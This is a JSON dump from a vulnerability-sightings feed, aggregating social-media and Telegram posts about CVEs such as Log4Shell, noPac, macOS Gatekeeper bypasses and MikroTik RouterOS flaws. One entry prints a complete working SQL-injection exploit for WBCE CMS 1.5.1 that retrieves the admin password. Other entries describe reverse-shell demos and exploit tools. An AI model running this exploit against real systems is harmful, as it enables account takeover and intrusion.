{"metadata": {"count": 621182, "page": 1, "per_page": 1000}, "data": [{"uuid": "33665876-6e8c-4775-bd64-e9317d2a3573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:35:30.178855+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/idlfnokbigimu", "content": "CVE-2026-82751 - Unbounded key authorization in mpp Tempo fee-payer sponsorship inflates gas cost and sponsors access-key provisioning\nCVE ID : CVE-2026-82751\n \n Published : Sept. 6, 2026, 4:07 p.m. | 1\u00a0hour, 21\u00a0minutes ago\n \n Description : Improper Validation of Specified Qua...", "vulnerability": "CVE-2026-82751", "author": {"login": "automation"}}, {"uuid": "7641ea8e-2006-4344-80f7-d59b0420c030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:27:02.819227+00:00", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117225267034387068", "content": "A severe vulnerability was disclosed for D-Link DIR-822A (CVE-2026-86296) https://vuldb.com/vuln/399458", "vulnerability": "CVE-2026-86296", "author": {"login": "automation"}}, {"uuid": "5684916a-c238-493c-a476-5709867f0b3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:18:23.571268+00:00", "type": "seen", "source": "https://bsky.app/profile/tierrasapiens.bsky.social/post/3muuis6udoc2w", "content": "\ud83d\uddb2\ufe0f #Noticia #CiberSeguridad #Cybersecurity #CiberNoticia\n\nMikroTrick: vulnerabilidad cr\u00edtica de omisi\u00f3n de autenticaci\u00f3n SSH en MikroTik RouterOS (CVE-2026-67276)\n\nLeer M\u00e1s / Read More...", "vulnerability": "CVE-2026-67276", "author": {"login": "automation"}}, {"uuid": "280aa0c1-9f17-4462-b2b2-204d6dbc8e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:13:37.726046+00:00", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117225214266621343", "content": "The severity is increased for this new vulnerability affecting D-Link DIR-605 (CVE-2026-86297) https://vuldb.com/vuln/399459", "vulnerability": "CVE-2026-86297", "author": {"login": "automation"}}, {"uuid": "754ad416-22de-4c71-9b98-64efa238b341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:04:26.219591+00:00", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3muuhza6e3g25", "content": "Just another Tuesday in IT, where exposed MikroTik RouterOS boxes with SSH enabled are currently handing complete administrative control to anyone who asks nicely via CVE-2026-67276 and CVE-2026-86060. We are expected to frantically scramble and patch to RouterOS 7.24.2, 7.23.4, ...\n\nRead full story", "vulnerability": "CVE-2026-86060", "author": {"login": "automation"}}, {"uuid": "208a0bb6-3c45-4aa2-82ac-3869f7998360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:04:26.177599+00:00", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3muuhza6e3g25", "content": "Just another Tuesday in IT, where exposed MikroTik RouterOS boxes with SSH enabled are currently handing complete administrative control to anyone who asks nicely via CVE-2026-67276 and CVE-2026-86060. We are expected to frantically scramble and patch to RouterOS 7.24.2, 7.23.4, ...\n\nRead full story", "vulnerability": "CVE-2026-67276", "author": {"login": "automation"}}, {"uuid": "794d6c9d-41ee-4375-8d88-87f1100816f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:24.346903+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muuhrvsj4b2r", "content": "\ud83d\udfe0 CVE-2026-19633 - High (8.8)\n\nPostgreSQL Anonymizer contains a vulnerability that allows unprivileged masked users to execute a...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-19633/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-19633", "author": {"login": "automation"}}, {"uuid": "6b3b5a20-f783-402a-8fdc-45b3a48fa4bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.684507+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101400", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Log4j #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a log4shell-exploitation-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Wafeeq-Fareed\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-06 14:54:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2021-44228 Log4Shell reproduced end to end: exploitation through remediation\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "ab66b11a-9877-47cc-a752-9f4890fc6331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.636812+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36392", "content": "CVE-2021\u201340579\nhttps://medium.com/@VAPT01/cve-2021-40579-9eac3409fd24?source=rss------bug_bounty-5", "vulnerability": "CVE-2021-40579", "author": {"login": "automation"}}, {"uuid": "c73173b1-9ff4-45de-9292-fefa901ef7e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.572969+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36394", "content": "Insecure direct object references (IDOR)Continue reading on Medium \u00bb (https://medium.com/@VAPT01/cve-2021-40579-9eac3409fd24?source=rss------bug_bounty-5)", "vulnerability": "CVE-2021-40579", "author": {"login": "automation"}}, {"uuid": "43ab71a2-d05d-4970-afe0-add25b5ba7c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.508637+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/36220", "content": "is not the first macOS bug fixed by Apple that would enable threat actors to completely circumvent OS security mechanisms such as Gatekeeper and File Quarantine on fully patched Macs.\n\nIn April, Apple patched a zero-day vulnerability exploited in the wild by Shlayer malware operators\u00a0to bypass macOS automated security checks and deploy additional payloads on compromised Macs.\n\nThe Shlayer threat actors began targeting macOS users with unsigned and unnotarized malware that exploited the zero-day bug (tracked as CVE-2021-30657) starting with January 2021, as the Jamf Protect detection team\u00a0discovered. Microsoft also discovered a macOS vulnerability\u00a0in October, dubbed Shrootless and tracked as CVE-2021-30892), that could be used to bypass System Integrity Protection (SIP) and perform arbitrary operations, elevate privileges to root, and install rootkits on compromised devices.\n\n\u201cA malicious application may be able to modify protected parts of the file system,\u201d Apple said in a security advisory\u00a0issued after patching the Shrootless bug.\nSee Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nSource: www.bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/5157-article-201208-ms-team_body_text-90x90.jpg Microsoft Teams bug allowing phishing unpatched since March1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-6-90x90.jpg 800K WordPress sites still impacted by critical SEO plugin flaw2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-5-90x90.jpg Microsoft warns of easy Windows domain takeover via Active Directory bugs3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-4-90x90.jpg TellYouThePass ransomware revived in Linux, Windows Log4j attacks4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-3-1-90x90.jpg Log4j attackers switch to injecting Monero miners via RMI1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Hackers-Using-Malicious-IIS-Server-Module-to-Steal-Microsoft-Exchange-560x380-1-90x90.jpg Hackers steal Microsoft Exchange credentials using IIS module1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/how-ransomware-works-1024x535-1-90x90.png New ransomware now being deployed in Log4Shell attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/0d73-article-201111-ubuntu-90x90.jpg Attackers can get root by crashing Ubuntu\u2019s AccountsService1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/frame_2_delay-0.5s-90x90.jpg Hackers start pushing malware in worldwide Log4Shell attacks2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-3-90x90.jpg Malicious Notepad++ installers push StrongPity malware2 weeks ago\nThe post Apple fixes macOS security flaw behind Gatekeeper bypass first appeared on Black Hat Ethical Hacking.", "vulnerability": "CVE-2021-30657", "author": {"login": "automation"}}, {"uuid": "5d635ec3-b0b5-409b-869b-a4891553aa46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.465698+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/36220", "content": "is not the first macOS bug fixed by Apple that would enable threat actors to completely circumvent OS security mechanisms such as Gatekeeper and File Quarantine on fully patched Macs.\n\nIn April, Apple patched a zero-day vulnerability exploited in the wild by Shlayer malware operators\u00a0to bypass macOS automated security checks and deploy additional payloads on compromised Macs.\n\nThe Shlayer threat actors began targeting macOS users with unsigned and unnotarized malware that exploited the zero-day bug (tracked as CVE-2021-30657) starting with January 2021, as the Jamf Protect detection team\u00a0discovered. Microsoft also discovered a macOS vulnerability\u00a0in October, dubbed Shrootless and tracked as CVE-2021-30892), that could be used to bypass System Integrity Protection (SIP) and perform arbitrary operations, elevate privileges to root, and install rootkits on compromised devices.\n\n\u201cA malicious application may be able to modify protected parts of the file system,\u201d Apple said in a security advisory\u00a0issued after patching the Shrootless bug.\nSee Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nSource: www.bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/5157-article-201208-ms-team_body_text-90x90.jpg Microsoft Teams bug allowing phishing unpatched since March1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-6-90x90.jpg 800K WordPress sites still impacted by critical SEO plugin flaw2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-5-90x90.jpg Microsoft warns of easy Windows domain takeover via Active Directory bugs3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-4-90x90.jpg TellYouThePass ransomware revived in Linux, Windows Log4j attacks4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-3-1-90x90.jpg Log4j attackers switch to injecting Monero miners via RMI1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Hackers-Using-Malicious-IIS-Server-Module-to-Steal-Microsoft-Exchange-560x380-1-90x90.jpg Hackers steal Microsoft Exchange credentials using IIS module1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/how-ransomware-works-1024x535-1-90x90.png New ransomware now being deployed in Log4Shell attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/0d73-article-201111-ubuntu-90x90.jpg Attackers can get root by crashing Ubuntu\u2019s AccountsService1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/frame_2_delay-0.5s-90x90.jpg Hackers start pushing malware in worldwide Log4Shell attacks2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-3-90x90.jpg Malicious Notepad++ installers push StrongPity malware2 weeks ago\nThe post Apple fixes macOS security flaw behind Gatekeeper bypass first appeared on Black Hat Ethical Hacking.", "vulnerability": "CVE-2021-30892", "author": {"login": "automation"}}, {"uuid": "f5e4aa1f-dc86-4d1d-bd91-c26b8622ca07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.399723+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36219", "content": "Black Hat Ethical Hacking\nOffensive Security Tool: log4j Honeypot Flask\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: log4j Honeypot FlaskPost Views: 31 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes\n\nOffensive Security Tool: log4j Honeypot Flask GitHub Link log4j-honeypot-flaskNow that Log4j has been discovered, a scanner we had shared released, and an existing PoC to showcase the damage it can do, we are sharing another HoneyPot tool mechanism that can help you detect for such attacks happening in your company internally or externally specifically for this, based on the patterns and reverse engineering of the tool that took place. You can setup this Honeypot, set up notifications, and stay steps ahead mitigating it from being compromised with this latest Zero Day release CVE, affecting a big number of Apache Servers.\n\nLog4j Honeypot Flask by BinaryDefense is an internal network honeypot for detecting if an attacker or insider threat scans your network for log4j CVE-2021-44228.\n\nThis can be installed on a workstation or server, either by running the Python app/app.py script directly (you\u2019ll need python3, Flask, and Requests) or as a Docker container.\n\nYou will need to set some environment variables (or hard-code them into the script): WEBHOOK_URL=your Teams, Slack or Mattermost webhook URL to receive notifications HONEYPOT_NAME=unique name for this honeypot so you know where the alerts came from HONEYPOT_PORT=8080 or whatever port you want it to listen on.\n\nAll it does is watch for suspicious string patterns in the requests (form fields and HTTP headers) and alert you if anything weird comes through by sending a message on Teams or Slack.\n\nImportant Note: This is a LOW-INTERACTION honeypot meant for internal active defense. It is not supposed to be vulnerable or let attackers get into anything.\nSee Also: Complete Offensive Security and Ethical Hacking Course Example running via Docker:docker build -t log4j-honeypot-flask:latest . docker run -d -p 8080:8080 -e WEBHOOK_URL=https://yourwebhookurl -e HONEYPOT_NAME=dmz_log4j_hp log4j-honeypot-flaskSee Also: Apple fixes macOS security flaw behind Gatekeeper bypass Example running via command line:export WEBHOOK_URL=https://yourwebhookurl export HONEYPOT_NAME=LittleBobbyJNDI export HONEYPOT_PORT=8081 python3 app/app.pyhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-scan-90x90.png Offensive Security Tool: log4j-scan1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/40pivot2-90x90.png Offensive Security Tool: Cobalt Strike2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/gomapenum-90x90.png Offensive Security Tool: GoMapEnum3 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/hashcat-90x90.png Offensive Security Tool: Hashcat4 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/bugbountytools-90x90.png Offensive Security Tools: Awesome Bug Bounty Tools1 month ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/unknown-1-90x90.png Offensive Security Tool: Pentesting Tools1 month ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/unknown-90x90.png Offensive Security Tool: DotDotPwn \u2013 The Directory Traversal Fuzzer2 months ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/unknown-1-90x90.png Offensive Security Tool: ZipExec2 months ago\n* [...]", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "7cea27f3-63cf-47b9-8cbb-436eff977f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.341597+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/36186", "content": "hacking: security in practice\nLog4PowerShell - A CVE-2021-44228 PowerShell Demo I Wrote\n\nhttps://github.com/aalex954/Log4PowerShell\n\nA PowerShell script that spins up all the required components to perform the exploit + a vulnerable docker image to attack. The script walks through the attack and you can watch it unfold in each console window. In the end you get a reverse shell in the netcat listener.\n\nI've included a write up in the README.md that can be found in the GitHub repo.\n\nsubmitted by /u/aalex954 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "2cc954be-90a0-4b0b-a5a1-335c38d94294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.294088+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/36218", "content": "Black Hat Ethical Hacking\nApple fixes macOS security flaw behind Gatekeeper bypass\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Apple fixes macOS security flaw behind Gatekeeper bypassPost Views: 105 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nApple has addressed a macOS vulnerability that unsigned and unnotarized script-based apps could exploit to bypass all macOS security protection mechanisms even on fully patched systems.\nIf they circumvent automated notarization security checks\u00a0(which scans for malicious components and code-signing issues), the applications are allowed to launch by Gatekeeper, a macOS security feature designed to verify if downloaded apps are notarized and developer-signed.\n\nOnce malicious script-based apps targeting the bypass flaw (CVE-2021-30853) are launched on a target\u2019s system, they can be used by attackers to download and deploy second-stage malicious payloads.\n\nApple has addressed this vulnerability in macOS 11.6\u00a0through a security update released in September 2021 that adds improved checks.\nSee Also: Complete Offensive Security and Ethical Hacking Course Gatekeeper bypass with a shebangThe CVE-2021-30853 Gatekeeper bypass bug was discovered and reported to Apple by Box Offensive Security Engineer Gordon Long.\n\nHe found that specially-crafted script-based applications downloaded from the Internet would launch without showing an alert even though automatically quarantined.\n\nThe \u201cspecially-crafted\u201d part requires creating an app that uses a script starting with a shebang (!#) character but leaving the rest of the line empty, which tells the Unix shell to run the script without specifying a shell command interpreter.\n\nThis leads to a Gatekeeper bypass because the syspolicyd daemon automatically commonly invoked by the AppleSystemPolicy kernel extension to perform security checks (signing and notarization) no longer gets triggered for inspection when launching a script without specifying an interpreter.\n\nBasically, if the script used a shebang (!#) but did not explicitly specify an interpreter, it would bypass Gatekeeper security checks.\nIn short, unsigned, non-notarized script-based applications would be allowed if their script did *not* specify an interpreter! \ud83e\udd2f\ud83e\udd23\n\nMeaning attackers could trivially bypass a myriad of foundational macOS security mechanisms via:\n#!\n<anypic.twitter.com/WPSABkXR7i\n\n \n\u2014 Objective-See (@objective_see) December 22, 2021\nSee Also: Hackers start pushing malware in worldwide Log4Shell attacks \u201cThe syspolicyd daemon will perform various policy checks and ultimately prevent the execution of untrusted applications, such as those that are unsigned or unnotarized,\u201d explained\u00a0security researcher Patrick Wardle.\n\n\u201cBut, what if the AppleSystemPolicy kext decides that the syspolicyd daemon does not need to be invoked? Well then, the process is allowed! And if this decision is made incorrectly, well then, you have a lovely File Quarantine, Gatekeeper, and notarization bypass.\u201d\nAs revealed by Wardle, threat actors can exploit this flaw by tricking their targets into opening a malicious app that can also be camouflaged as a benign-looking PDF document.\n\nSuch malicious payloads can be delivered on targets\u2019 systems via many methods, including poisoned search results, fake updates, and trojaned applications downloaded from sites linking to pirated software.\nhttps://www.bleepstatic.com/images/news/u/1109292/2021/macOS_infection_vectors.png \n<figcaptionImage: Patrick Wardle \nSee Also: Offensive Security Tool: log4j-scan Similar bugs exploited by malwareThis [...]", "vulnerability": "CVE-2021-30853", "author": {"login": "automation"}}, {"uuid": "715fc9a0-869e-4abd-90d0-3badddbb8093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.249058+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35902", "content": "Hey there,\nYash Here, I\u2019m noob BB Hunter & Security researcher from India.Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/accessing-thousands-of-covid-19-patients-confidential-information-cve-2020-35276-46bfd3f3f037?source=rss------bug_bounty-5)", "vulnerability": "CVE-2020-35276", "author": {"login": "automation"}}, {"uuid": "44ada491-0592-40ba-b9ea-98d6548bbd34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.210498+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/36102", "content": "hacking: security in practice\nObjective-See's Blog - (CVE-2021-30853) trivially bypass a myriad of foundational macOS security mechanisms via #!\n\nhttps://external-preview.redd.it/I7A5fdBkwVeb-YTwMRzIqZXUfv8rer3fYWyB7pwbecQ.jpg?width=640&crop=smart&auto=webp&s=35a01f41729725f518d26b133fbde27313972f27 submitted by /u/nulllzero \n[link] [comments]", "vulnerability": "CVE-2021-30853", "author": {"login": "automation"}}, {"uuid": "44714f48-2449-4c3d-a6ef-39e2d2a572a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.169627+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35900", "content": "Accessing Thousands of Covid-19 Patients Confidential Information. [CVE-2020\u201335276]\nhttps://infosecwriteups.com/accessing-thousands-of-covid-19-patients-confidential-information-cve-2020-35276-46bfd3f3f037?source=rss------bug_bounty-5", "vulnerability": "CVE-2020-35276", "author": {"login": "automation"}}, {"uuid": "2701ac18-2642-42d0-aeb9-92f29810a554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.114773+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35794", "content": "CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter Fork with some improvements\nhttps://www.reddit.com/r/redteamsec/comments/rlc0ve/cve202142287cve202142278_scanner_exploiter_fork/\n\n  submitted by    /u/v1brio  (https://www.reddit.com/user/v1brio) \n [link] (https://github.com/ricardojba/noPac)   [comments] (https://www.reddit.com/r/redteamsec/comments/rlc0ve/cve202142287cve202142278_scanner_exploiter_fork/)", "vulnerability": "CVE-2021-42278", "author": {"login": "automation"}}, {"uuid": "8c3670d3-14c9-4e36-85e1-b023c6523bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.067124+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35794", "content": "CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter Fork with some improvements\nhttps://www.reddit.com/r/redteamsec/comments/rlc0ve/cve202142287cve202142278_scanner_exploiter_fork/\n\n  submitted by    /u/v1brio  (https://www.reddit.com/user/v1brio) \n [link] (https://github.com/ricardojba/noPac)   [comments] (https://www.reddit.com/r/redteamsec/comments/rlc0ve/cve202142287cve202142278_scanner_exploiter_fork/)", "vulnerability": "CVE-2021-42287", "author": {"login": "automation"}}, {"uuid": "90aaa054-df8f-4117-b7da-9fa47b93284f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:05.018783+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35843", "content": "Exploit Collector\nWBCE CMS 1.5.1 Admin Password Reset\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nWBCE CMS versions 1.5.1 and below suffer from an administrative password reset vulnerability.\n\nMD5 | bd387503be1f4981f739444d3fc5cb4b\n\nDownload\n# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset\n# Google Dork: intext: \"Way Better Content Editing\"\n# Date: 20/12/2021\n# Exploit Author: citril or https://github.com/maxway2021\n# Vendor Homepage: https://wbce.org/\n# Software Link: https://wbce.org/de/downloads/\n# Version: <=\n# Tested on: Linux\n# CVE : CVE-2021-3817\n# Github repo: https://github.com/WBCE/WBCE_CMS\n# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75\n\nimport requests\n\n_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment\n_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature\n\nheaders = {\n'User-Agent': 'Mozilla/5.0',\n'Accept':\n'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',\n'Accept-Language': 'en-US,en;q=0.5',\n'Content-Type': 'application/x-www-form-urlencoded',\n'Connection': 'close'\n}\n\n_p = \"email=%27/**/or/**/user_id=1/**/or/**/'admin%40\" + _domain + \"&submit=justrandomvalue\"\n\nr = requests.post(url = _url, headers = headers, data = _p)\nif r.status_code == 200:\nprint('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-3817", "author": {"login": "automation"}}, {"uuid": "f678661f-1a36-457a-b715-b728eeb8577a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.968846+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35793", "content": "Powershell .Net Assembly loader for the [CVE-2021-42287 - CVE-2021-42278] Scanner & Exploiter\nhttps://www.reddit.com/r/redteamsec/comments/rlc046/powershell_net_assembly_loader_for_the/\n\n  submitted by    /u/v1brio  (https://www.reddit.com/user/v1brio) \n [link] (https://github.com/ricardojba/Invoke-noPac)   [comments] (https://www.reddit.com/r/redteamsec/comments/rlc046/powershell_net_assembly_loader_for_the/)", "vulnerability": "CVE-2021-42278", "author": {"login": "automation"}}, {"uuid": "fcb43e66-b8df-4c48-93ac-06aaf969831c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.916405+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35793", "content": "Powershell .Net Assembly loader for the [CVE-2021-42287 - CVE-2021-42278] Scanner & Exploiter\nhttps://www.reddit.com/r/redteamsec/comments/rlc046/powershell_net_assembly_loader_for_the/\n\n  submitted by    /u/v1brio  (https://www.reddit.com/user/v1brio) \n [link] (https://github.com/ricardojba/Invoke-noPac)   [comments] (https://www.reddit.com/r/redteamsec/comments/rlc046/powershell_net_assembly_loader_for_the/)", "vulnerability": "CVE-2021-42287", "author": {"login": "automation"}}, {"uuid": "69fcb10f-53c1-4b55-a018-87b7d2276332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.858722+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35785", "content": "Black Hat Ethical Hacking\nMicrosoft warns of easy Windows domain takeover via Active Directory bugs\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft warns of easy Windows domain takeover via Active Directory bugsPost Views: 127 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nMicrosoft warned customers today to patch two Active Directory domain service privilege escalation security flaws that, when combined, allow attackers to easily takeover Windows domains.\nThe company released security updates to address the two security vulnerabilities (tracked as CVE-2021-42287\u00a0and CVE-2021-42278\u00a0and reported by Andrew Bartlett of Catalyst IT) during the November 2021 Patch Tuesday.\n\nRedmond\u2019s warning to immediately patch the two bugs \u2014 both allowing attackers to impersonate domain controllers \u2014 comes after a proof-of-concept (PoC) tool that can leverage these vulnerabilities was shared on Twitter and GitHub on December 11.\n\n\u201cWhen combining these two vulnerabilities, an attacker can create a straightforward path to a Domain Admin user in an Active Directory environment that hasn\u2019t applied these new updates,\u201d Microsoft explains in an advisory published today.\n\n\u201cThis escalation attack allows attackers to easily elevate their privilege to that of a Domain Admin once they compromise a regular user in the domain.\n\n\u201cAs always, we strongly advise deploying the latest patches on the domain controllers as soon as possible.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nWindows admins are urged to update devices exposed to attacks using the steps and information detailed in the following knowledgebase articles: KB5008102, KB5008380, KB5008602.\n\nResearchers who tested the PoC stated that they were able to easily use the\u00a0tool\u00a0to escalate privileges from standard Active Directory user to a Domain Admin in default configurations.\nhttps://www.bleepstatic.com/images/news/u/1109292/2021/CVE-2021-42278_exploit_tool.jpg \n ago(1d)\n| where ActionType == \"SAM Account Name changed\"\n| extend FROMSAM = parse_json(AdditionalFields)['FROM SAM Account Name']\n| extend TOSAM = parse_json(AdditionalFields)['TO SAM Account Name']\n| where (FROMSAM has \"$\" and TOSAM !has \"$\")\n        or TOSAM in 